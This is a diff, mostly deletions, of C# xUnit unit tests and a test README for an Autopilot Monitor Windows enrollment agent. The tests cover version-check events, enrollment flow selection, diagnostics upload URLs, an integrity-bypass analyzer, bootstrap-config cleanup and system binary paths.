Assert.Equal("1.0.949", result.Event.Data["previousVersion"]);
|
||||
Assert.Equal("1.0.950", result.Event.Data["newVersion"]);
|
||||
Assert.True(result.Event.Data.ContainsKey("downtimeMs"));
|
||||
Assert.False(File.Exists(_paths.UpdatedMarker));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void UpdatedMarker_RuntimeTrigger_IsWarningSeverity()
|
||||
{
|
||||
WriteUpdated(trigger: "runtime_hash_mismatch");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Equal(EventSeverity.Warning, result.Event.Severity);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SkippedMarker_DownloadFailed_EmitsWithSkippedOutcome()
|
||||
{
|
||||
WriteSkipped(reason: "download_failed");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.Equal("skipped", result.Event.Data["outcome"]);
|
||||
Assert.Equal("download_failed", result.Event.Data["reason"]);
|
||||
Assert.Equal(EventSeverity.Warning, result.Event.Severity);
|
||||
Assert.False(File.Exists(_paths.SkippedMarker));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void SkippedMarker_VersionCheckFailed_DerivesCheckFailedOutcome()
|
||||
{
|
||||
// Backward-compat: old marker without outcome field — must still map correctly.
|
||||
WriteSkipped(reason: "version_check_failed", latest: null, outcome: null);
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Equal("check_failed", result.Event.Data["outcome"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Priority_UpdatedBeatsSkippedBeatsChecked()
|
||||
{
|
||||
// All three present (edge case after a crash). Updated wins, the others are cleaned up.
|
||||
WriteUpdated();
|
||||
WriteSkipped();
|
||||
WriteChecked();
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Equal("updated", result.Event.Data["outcome"]);
|
||||
Assert.False(File.Exists(_paths.UpdatedMarker));
|
||||
Assert.False(File.Exists(_paths.SkippedMarker));
|
||||
Assert.False(File.Exists(_paths.CheckedMarker));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void CorruptMarker_DoesNotThrow_ReturnsParseError()
|
||||
{
|
||||
File.WriteAllText(_paths.CheckedMarker, "{ not valid json");
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Null(result.Event);
|
||||
Assert.NotNull(result.ParseError);
|
||||
Assert.False(File.Exists(_paths.CheckedMarker)); // still cleaned up
|
||||
}
|
||||
|
||||
private void WriteDowngradeBlocked(string current = "1.0.961", string latest = "1.0.951", string trigger = "runtime_hash_mismatch")
|
||||
{
|
||||
var json = new JObject
|
||||
{
|
||||
["outcome"] = "downgrade_blocked",
|
||||
["reason"] = "downgrade_blocked",
|
||||
["currentVersion"] = current,
|
||||
["latestVersion"] = latest,
|
||||
["triggerReason"] = trigger,
|
||||
["skippedAtUtc"] = DateTime.UtcNow.ToString("O"),
|
||||
["errorDetail"] = string.Empty,
|
||||
};
|
||||
File.WriteAllText(_paths.SkippedMarker, json.ToString());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DowngradeBlockedMarker_FirstTime_EmitsWarningEvent()
|
||||
{
|
||||
WriteDowngradeBlocked();
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.Equal(EventSeverity.Warning, result.Event.Severity);
|
||||
Assert.Equal("downgrade_blocked", result.Event.Data["outcome"]);
|
||||
Assert.Equal("1.0.951", result.Event.Data["latestVersion"]);
|
||||
Assert.Equal("1.0.961", result.Event.Data["currentVersion"]);
|
||||
Assert.Equal("runtime_hash_mismatch", result.Event.Data["triggerReason"]);
|
||||
Assert.Contains("downgrade from 1.0.961 to 1.0.951", result.Event.Message);
|
||||
Assert.False(result.Deduped);
|
||||
Assert.False(File.Exists(_paths.SkippedMarker));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DowngradeBlocked_SameSessionSameLatest_IsDeduped()
|
||||
{
|
||||
WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked");
|
||||
WriteDowngradeBlocked();
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.Null(result.Event);
|
||||
Assert.True(result.Deduped);
|
||||
Assert.Equal("downgrade_blocked", result.Outcome);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DowngradeBlocked_DifferentSession_EmitsFresh()
|
||||
{
|
||||
WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked");
|
||||
WriteDowngradeBlocked();
|
||||
|
||||
var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths);
|
||||
|
||||
Assert.NotNull(result.Event);
|
||||
Assert.False(result.Deduped);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,123 +0,0 @@
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Flows
|
||||
{
|
||||
/// <summary>
|
||||
/// Guards the v1/v2 enrollment-flow "Weiche": ensures flow handlers expose the correct
|
||||
/// policy bits and the factory picks the right handler for each EnrollmentType.
|
||||
/// Prevents regressions such as DevPrep flows accidentally applying the ESP gate,
|
||||
/// or Classic flows skipping ESP-phase tracking.
|
||||
/// </summary>
|
||||
public class EnrollmentFlowTests
|
||||
{
|
||||
// -- Enum <-> wire format roundtrip --
|
||||
|
||||
[Theory]
|
||||
[InlineData("v1", EnrollmentType.Classic)]
|
||||
[InlineData("V1", EnrollmentType.Classic)]
|
||||
[InlineData("v2", EnrollmentType.DevicePreparation)]
|
||||
[InlineData("V2", EnrollmentType.DevicePreparation)]
|
||||
public void FromWireFormat_KnownValues_ReturnsMatchingEnum(string wire, EnrollmentType expected)
|
||||
{
|
||||
Assert.Equal(expected, EnrollmentTypeExtensions.FromWireFormat(wire));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData(null)]
|
||||
[InlineData("")]
|
||||
[InlineData(" ")]
|
||||
[InlineData("v3")]
|
||||
[InlineData("classic")]
|
||||
public void FromWireFormat_UnknownOrEmpty_ReturnsUnknown(string wire)
|
||||
{
|
||||
Assert.Equal(EnrollmentType.Unknown, EnrollmentTypeExtensions.FromWireFormat(wire));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData(EnrollmentType.Classic, "v1")]
|
||||
[InlineData(EnrollmentType.DevicePreparation, "v2")]
|
||||
[InlineData(EnrollmentType.Unknown, "v1")] // legacy-safe default
|
||||
public void ToWireFormat_ProducesExpectedString(EnrollmentType type, string expected)
|
||||
{
|
||||
Assert.Equal(expected, type.ToWireFormat());
|
||||
}
|
||||
|
||||
// -- Flow handler policy bits --
|
||||
|
||||
[Fact]
|
||||
public void ClassicAutopilotFlow_TracksEspPhases_True()
|
||||
{
|
||||
var flow = new ClassicAutopilotFlow();
|
||||
Assert.Equal(EnrollmentType.Classic, flow.SupportedType);
|
||||
Assert.True(flow.TracksEspPhases);
|
||||
Assert.True(flow.AppliesEspGateOnDesktopArrival);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DevicePreparationFlow_DoesNotTrackEspPhases()
|
||||
{
|
||||
var flow = new DevicePreparationFlow();
|
||||
Assert.Equal(EnrollmentType.DevicePreparation, flow.SupportedType);
|
||||
Assert.False(flow.TracksEspPhases);
|
||||
Assert.False(flow.AppliesEspGateOnDesktopArrival);
|
||||
}
|
||||
|
||||
// -- Factory selection --
|
||||
|
||||
[Fact]
|
||||
public void Factory_Create_Classic_ReturnsClassicFlow()
|
||||
{
|
||||
Assert.IsType<ClassicAutopilotFlow>(EnrollmentFlowFactory.Create(EnrollmentType.Classic));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Factory_Create_DevicePreparation_ReturnsDevPrepFlow()
|
||||
{
|
||||
Assert.IsType<DevicePreparationFlow>(EnrollmentFlowFactory.Create(EnrollmentType.DevicePreparation));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Factory_Create_Unknown_FallsBackToClassic()
|
||||
{
|
||||
// Unknown must not produce null — Classic is the safe legacy default.
|
||||
Assert.IsType<ClassicAutopilotFlow>(EnrollmentFlowFactory.Create(EnrollmentType.Unknown));
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("v1", typeof(ClassicAutopilotFlow))]
|
||||
[InlineData("v2", typeof(DevicePreparationFlow))]
|
||||
[InlineData("", typeof(ClassicAutopilotFlow))]
|
||||
[InlineData("bogus", typeof(ClassicAutopilotFlow))]
|
||||
public void Factory_FromWireFormat_PicksCorrectFlow(string wire, System.Type expectedType)
|
||||
{
|
||||
var flow = EnrollmentFlowFactory.FromWireFormat(wire);
|
||||
Assert.IsType(expectedType, flow);
|
||||
}
|
||||
|
||||
// -- RegisterSessionResponse back-compat guard --
|
||||
|
||||
[Fact]
|
||||
public void RegisterSessionResponse_DefaultValidatedBy_IsUnknown()
|
||||
{
|
||||
// A response from an older backend that does not set ValidatedBy must
|
||||
// deserialize with ValidatedBy = Unknown so the agent falls back to
|
||||
// its own registry detection.
|
||||
var response = new RegisterSessionResponse();
|
||||
Assert.Equal(ValidatorType.Unknown, response.ValidatedBy);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ValidatorType_Unknown_IsDefaultValue()
|
||||
{
|
||||
// Newtonsoft.Json / System.Text.Json default for a missing enum field is 0.
|
||||
// Unknown must be 0 so missing-field deserialization stays backward compatible.
|
||||
Assert.Equal(0, (int)ValidatorType.Unknown);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Helpers
|
||||
{
|
||||
/// <summary>
|
||||
/// Minimal AgentLogger for test use. Writes to a temp directory that is auto-cleaned.
|
||||
/// </summary>
|
||||
internal static class TestLogger
|
||||
{
|
||||
private static readonly Lazy<AgentLogger> _instance = new Lazy<AgentLogger>(() =>
|
||||
{
|
||||
var dir = Path.Combine(Path.GetTempPath(), "autopilot-test-logs-" + Guid.NewGuid().ToString("N"));
|
||||
return new AgentLogger(dir);
|
||||
});
|
||||
|
||||
public static AgentLogger Instance => _instance.Value;
|
||||
}
|
||||
}
|
||||
-71
@@ -1,71 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
|
||||
{
|
||||
/// <summary>
|
||||
/// Phase 3 of the hosted-diagnostics work: V1 agent must build the blob PUT URL
|
||||
/// destination-aware so a Hosted SAS (already blob-scoped at
|
||||
/// <c>{tenantId}/{filename}</c>) is used as-is, while a CustomerSas (container-scoped)
|
||||
/// continues to get the blob name appended. Mirrors the V2 tests in
|
||||
/// <c>AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Runtime.DiagnosticsPackageServiceTests</c>.
|
||||
/// V1 stays on this code path until phase-out per <c>feedback_codex_findings_v2_only</c>.
|
||||
/// </summary>
|
||||
public class DiagnosticsPackageServiceUrlBuilderTests
|
||||
{
|
||||
[Theory]
|
||||
[InlineData("Hosted")]
|
||||
[InlineData("hosted")]
|
||||
[InlineData("HOSTED")]
|
||||
public void BuildBlobUploadUrl_HostedDestination_ReturnsSasUnchanged(string destination)
|
||||
{
|
||||
const string hostedSas = "https://account.blob.core.windows.net/diagnostics/11111111-1111-1111-1111-111111111111/AgentDiagnostics-x.zip?sig=abc";
|
||||
var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedSas, "AgentDiagnostics-x.zip", destination);
|
||||
Assert.Equal(hostedSas, result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildBlobUploadUrl_CustomerSas_AppendsBlobNameBeforeQuery()
|
||||
{
|
||||
const string containerSas = "https://customer.blob.core.windows.net/diagnostics?sv=2024-10-04&sig=xyz";
|
||||
var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "AgentDiagnostics-x.zip", "CustomerSas");
|
||||
Assert.Equal(
|
||||
"https://customer.blob.core.windows.net/diagnostics/AgentDiagnostics-x.zip?sv=2024-10-04&sig=xyz",
|
||||
result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildBlobUploadUrl_NullDestination_AppendsBlobName_LegacyBackendCompat()
|
||||
{
|
||||
// Older backends without the Destination field return null; agent must
|
||||
// preserve the historical container-SAS append behaviour.
|
||||
const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc";
|
||||
var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", null);
|
||||
Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip?sig=abc", result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildBlobUploadUrl_UnknownDestination_FallsBackToCustomerSasBehaviour()
|
||||
{
|
||||
const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc";
|
||||
var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", "Vendor");
|
||||
Assert.EndsWith("/diag.zip?sig=abc", result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildBlobUploadUrl_SasWithoutQueryString_AppendsBlobName()
|
||||
{
|
||||
const string noQuery = "https://customer.blob.core.windows.net/diag";
|
||||
var result = DiagnosticsPackageService.BuildBlobUploadUrl(noQuery, "diag.zip", "CustomerSas");
|
||||
Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip", result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildBlobUploadUrl_HostedWithoutQueryString_StillReturnsUnchanged()
|
||||
{
|
||||
const string hostedNoQuery = "https://account.blob.core.windows.net/diagnostics/tenant/x.zip";
|
||||
var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedNoQuery, "x.zip", "Hosted");
|
||||
Assert.Equal(hostedNoQuery, result);
|
||||
}
|
||||
}
|
||||
}
|
||||
-115
@@ -1,115 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
|
||||
{
|
||||
/// <summary>
|
||||
/// Sanity tests for IntegrityBypassAnalyzer. The analyzer reads HKLM/HKU, Win32_Tpm
|
||||
/// and the real filesystem — we don't mock those here. Instead we verify the event
|
||||
/// contract (type / phase / severity / required payload shape) against whatever the
|
||||
/// test host reports. On any healthy dev machine this should emit a single
|
||||
/// "integrity_bypass_analysis" event with Phase=Unknown and the documented payload.
|
||||
/// </summary>
|
||||
public class IntegrityBypassAnalyzerTests
|
||||
{
|
||||
private IntegrityBypassAnalyzer CreateAnalyzer(List<EnrollmentEvent> sink)
|
||||
{
|
||||
return new IntegrityBypassAnalyzer(
|
||||
sessionId: "test-session",
|
||||
tenantId: "test-tenant",
|
||||
emitEvent: evt => sink.Add(evt),
|
||||
logger: TestLogger.Instance);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AnalyzeAtStartup_EmitsSingleIntegrityBypassEvent_WithUnknownPhase()
|
||||
{
|
||||
var events = new List<EnrollmentEvent>();
|
||||
var analyzer = CreateAnalyzer(events);
|
||||
|
||||
analyzer.AnalyzeAtStartup();
|
||||
|
||||
var evt = Assert.Single(events);
|
||||
Assert.Equal("integrity_bypass_analysis", evt.EventType);
|
||||
Assert.Equal(EnrollmentPhase.Unknown, evt.Phase);
|
||||
Assert.Equal("IntegrityBypassAnalyzer", evt.Source);
|
||||
Assert.Equal("test-session", evt.SessionId);
|
||||
Assert.Equal("test-tenant", evt.TenantId);
|
||||
Assert.NotNull(evt.Data);
|
||||
Assert.True(evt.Data.ContainsKey("severity"));
|
||||
Assert.True(evt.Data.ContainsKey("finding"));
|
||||
Assert.True(evt.Data.ContainsKey("findings"));
|
||||
Assert.True(evt.Data.ContainsKey("triggered_at"));
|
||||
Assert.Equal("startup", evt.Data["triggered_at"]);
|
||||
Assert.True(evt.Data.ContainsKey("checks"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void AnalyzeAtShutdown_IsNoOp()
|
||||
{
|
||||
// Integrity bypass artefacts are pre-enrollment state and do not change during
|
||||
// enrollment. The shutdown call must not emit a duplicate event.
|
||||
var events = new List<EnrollmentEvent>();
|
||||
var analyzer = CreateAnalyzer(events);
|
||||
|
||||
analyzer.AnalyzeAtShutdown();
|
||||
|
||||
Assert.Empty(events);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Payload_ContainsDocumentedCheckSections()
|
||||
{
|
||||
var events = new List<EnrollmentEvent>();
|
||||
var analyzer = CreateAnalyzer(events);
|
||||
|
||||
analyzer.AnalyzeAtStartup();
|
||||
|
||||
var evt = Assert.Single(events);
|
||||
var checks = Assert.IsAssignableFrom<Dictionary<string, object>>(evt.Data["checks"]);
|
||||
Assert.True(checks.ContainsKey("lab_config"));
|
||||
Assert.True(checks.ContainsKey("mo_setup"));
|
||||
Assert.True(checks.ContainsKey("pchc_upgrade_eligibility"));
|
||||
Assert.True(checks.ContainsKey("setup_scripts"));
|
||||
Assert.True(checks.ContainsKey("correlation"));
|
||||
|
||||
// Setup scripts entry is always a list of 2 (SetupComplete + ErrorHandler)
|
||||
var scripts = Assert.IsAssignableFrom<System.Collections.IEnumerable>(checks["setup_scripts"]);
|
||||
var count = scripts.Cast<object>().Count();
|
||||
Assert.Equal(2, count);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Severity_IsLowerCaseString()
|
||||
{
|
||||
var events = new List<EnrollmentEvent>();
|
||||
var analyzer = CreateAnalyzer(events);
|
||||
|
||||
analyzer.AnalyzeAtStartup();
|
||||
|
||||
var evt = Assert.Single(events);
|
||||
var severity = Assert.IsType<string>(evt.Data["severity"]);
|
||||
Assert.Equal(severity, severity.ToLowerInvariant());
|
||||
// Must be one of the documented bucket labels
|
||||
Assert.Contains(severity, new[] { "trace", "debug", "info", "warning", "error", "critical" });
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void NullConstructorArgs_Throw()
|
||||
{
|
||||
Assert.Throws<ArgumentNullException>(() =>
|
||||
new IntegrityBypassAnalyzer(null, "t", evt => { }, TestLogger.Instance));
|
||||
Assert.Throws<ArgumentNullException>(() =>
|
||||
new IntegrityBypassAnalyzer("s", null, evt => { }, TestLogger.Instance));
|
||||
Assert.Throws<ArgumentNullException>(() =>
|
||||
new IntegrityBypassAnalyzer("s", "t", null, TestLogger.Instance));
|
||||
Assert.Throws<ArgumentNullException>(() =>
|
||||
new IntegrityBypassAnalyzer("s", "t", evt => { }, null));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Interop;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
|
||||
{
|
||||
public class MemoryNativeMethodsTests
|
||||
{
|
||||
[Fact]
|
||||
public void TryGetMemoryInfo_ReturnsPlausibleValues()
|
||||
{
|
||||
var ok = MemoryNativeMethods.TryGetMemoryInfo(out var availBytes, out var totalBytes, out var loadPercent);
|
||||
|
||||
Assert.True(ok, "GlobalMemoryStatusEx should succeed on a normal Windows test host");
|
||||
Assert.True(totalBytes > 0, "total physical memory should be > 0");
|
||||
Assert.True(availBytes <= totalBytes, "available must not exceed total");
|
||||
Assert.InRange(loadPercent, 0u, 100u);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Http;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Security;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Security
|
||||
{
|
||||
public class BootstrapConfigCleanupTests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
private readonly string _bootstrapPath;
|
||||
|
||||
public BootstrapConfigCleanupTests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "ap-bootstrap-cleanup-" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
_bootstrapPath = Path.Combine(_tempDir, "bootstrap-config.json");
|
||||
File.WriteAllText(_bootstrapPath, "{\"BootstrapToken\":\"secret\"}");
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
|
||||
catch { /* best effort */ }
|
||||
}
|
||||
|
||||
private static HttpClient BuildClient(FakeHttpMessageHandler handler)
|
||||
=> new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(5) };
|
||||
|
||||
private static HttpRequestMessage BuildRequest()
|
||||
=> new HttpRequestMessage(HttpMethod.Get, "https://example.invalid/api/agent/config");
|
||||
|
||||
[Fact]
|
||||
public async Task Probe_200_DeletesFile()
|
||||
{
|
||||
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.OK));
|
||||
using (var http = BuildClient(handler))
|
||||
{
|
||||
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
|
||||
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
|
||||
}
|
||||
|
||||
Assert.False(File.Exists(_bootstrapPath), "bootstrap-config.json should have been deleted after successful probe");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Probe_204_DeletesFile()
|
||||
{
|
||||
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.NoContent));
|
||||
using (var http = BuildClient(handler))
|
||||
{
|
||||
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
|
||||
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
|
||||
}
|
||||
|
||||
Assert.False(File.Exists(_bootstrapPath), "2xx responses must count as success");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Probe_401_KeepsFile()
|
||||
{
|
||||
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.Unauthorized));
|
||||
using (var http = BuildClient(handler))
|
||||
{
|
||||
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
|
||||
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
|
||||
}
|
||||
|
||||
Assert.True(File.Exists(_bootstrapPath), "401 must keep the bootstrap file for retry next run");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Probe_500_KeepsFile()
|
||||
{
|
||||
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.InternalServerError));
|
||||
using (var http = BuildClient(handler))
|
||||
{
|
||||
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
|
||||
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
|
||||
}
|
||||
|
||||
Assert.True(File.Exists(_bootstrapPath), "5xx must keep the bootstrap file");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Probe_NetworkError_KeepsFile_DoesNotThrow()
|
||||
{
|
||||
var handler = new FakeHttpMessageHandler(_ => throw new HttpRequestException("simulated connection refused"));
|
||||
using (var http = BuildClient(handler))
|
||||
{
|
||||
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
|
||||
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
|
||||
}
|
||||
|
||||
Assert.True(File.Exists(_bootstrapPath), "network failure must keep the file and not throw");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Probe_200_ButFileAlreadyGone_DoesNotThrow()
|
||||
{
|
||||
File.Delete(_bootstrapPath);
|
||||
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.OK));
|
||||
using (var http = BuildClient(handler))
|
||||
{
|
||||
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
|
||||
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
|
||||
}
|
||||
|
||||
Assert.False(File.Exists(_bootstrapPath));
|
||||
}
|
||||
|
||||
private sealed class FakeHttpMessageHandler : HttpMessageHandler
|
||||
{
|
||||
private readonly Func<HttpRequestMessage, HttpResponseMessage> _responder;
|
||||
|
||||
public FakeHttpMessageHandler(Func<HttpRequestMessage, HttpResponseMessage> responder)
|
||||
{
|
||||
_responder = responder;
|
||||
}
|
||||
|
||||
protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
|
||||
{
|
||||
try
|
||||
{
|
||||
return Task.FromResult(_responder(request));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
var tcs = new TaskCompletionSource<HttpResponseMessage>();
|
||||
tcs.SetException(ex);
|
||||
return tcs.Task;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Security;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Security
|
||||
{
|
||||
/// <summary>
|
||||
/// Smoke test for <see cref="SystemPaths"/>: every pinned System32 binary must
|
||||
/// exist on the test host. This catches typos, bad <c>Path.Combine</c> segments,
|
||||
/// and accidental rewrites of the historical <c>WindowsPowerShell\v1.0</c> path —
|
||||
/// all failure modes that would brick the Agent on every Windows device.
|
||||
/// Windows-only (the Agent runs on net48 and CI runs on Windows agents).
|
||||
/// </summary>
|
||||
public class SystemPathsTests
|
||||
{
|
||||
[Fact]
|
||||
public void AllPinnedPaths_ExistOnWindows()
|
||||
{
|
||||
Assert.Equal(PlatformID.Win32NT, Environment.OSVersion.Platform);
|
||||
|
||||
var paths = new (string name, string path)[]
|
||||
{
|
||||
(nameof(SystemPaths.Cmd), SystemPaths.Cmd),
|
||||
(nameof(SystemPaths.Shutdown), SystemPaths.Shutdown),
|
||||
(nameof(SystemPaths.TzUtil), SystemPaths.TzUtil),
|
||||
(nameof(SystemPaths.Netsh), SystemPaths.Netsh),
|
||||
(nameof(SystemPaths.PowerShell), SystemPaths.PowerShell),
|
||||
};
|
||||
|
||||
var missing = paths
|
||||
.Where(p => !File.Exists(p.path))
|
||||
.Select(p => $"{p.name}: {p.path}")
|
||||
.ToList();
|
||||
|
||||
Assert.True(
|
||||
missing.Count == 0,
|
||||
"SystemPaths point to missing binaries:\n " + string.Join("\n ", missing));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,95 +0,0 @@
|
||||
# Agent Unit Tests
|
||||
|
||||
## Overview
|
||||
|
||||
This test suite protects the Autopilot Monitor Agent against regressions in the enrollment state machine, security guards, log parsing, and crash recovery. The agent runs on real enrollment devices where debugging is difficult — these tests catch bugs before deployment.
|
||||
|
||||
**Framework:** xUnit 2.9.2 | **Target:** .NET Framework 4.8 | **Mocking:** None (pure logic tests with callbacks)
|
||||
|
||||
## Risk Matrix
|
||||
|
||||
| Risk Category | Concrete Bug | Test Suite | Impact |
|
||||
|---|---|---|---|
|
||||
| **Double enrollment events** | Two `enrollment_complete` = corrupted session data | CompletionTests | Session data corruption in backend |
|
||||
| **Hybrid Join false-completion** | ESP exit during mid-enrollment reboot triggers premature completion | CompletionTests (Reboot Gate) | Agent self-destructs before enrollment finishes |
|
||||
| **ESP resumption missed** | After hybrid join reboot: Hello state not reset, stale timers fire | EventHandlerTests | Wrong completion signals |
|
||||
| **Phase bleed** | Device-phase apps appear in AccountSetup timeline | AppPackageStateListTests | Incorrect enrollment timeline |
|
||||
| **Security bypass** | Path traversal in gather rules or diagnostics collection | GatherRuleGuardsTests, DiagnosticsPathGuardsTests | Data exfiltration from device |
|
||||
| **Wrong device-only classification** | 3-boolean decision tree misclassifies deployments | CompletionTests | Thousands of deployments affected |
|
||||
| **Premature completion** | Desktop signal triggers completion while ESP is still active | CompletionTests (ESP Gate) | Enrollment fails silently |
|
||||
| **Endless enrollment wait** | Hello not configured but agent waits indefinitely | CompletionTests | Zombie agent until 6h timeout |
|
||||
| **Log parsing crash** | Unexpected date format in IME log | CmTraceLogParserTests | Agent stops processing events |
|
||||
| **State loss after crash** | Hybrid join flag, signal timestamps lost on restart | PersistenceTests | Duplicate events, wrong completion path |
|
||||
| **Prefix spoofing** | `SOFTWARE\MicrosoftEvil` matches `SOFTWARE\Microsoft` prefix | GatherRuleGuardsTests | Unauthorized registry access |
|
||||
| **Desktop false-positive** | SYSTEM account explorer.exe triggers desktop arrival | DesktopArrivalDetectorTests | Premature enrollment completion |
|
||||
|
||||
## Test Suites
|
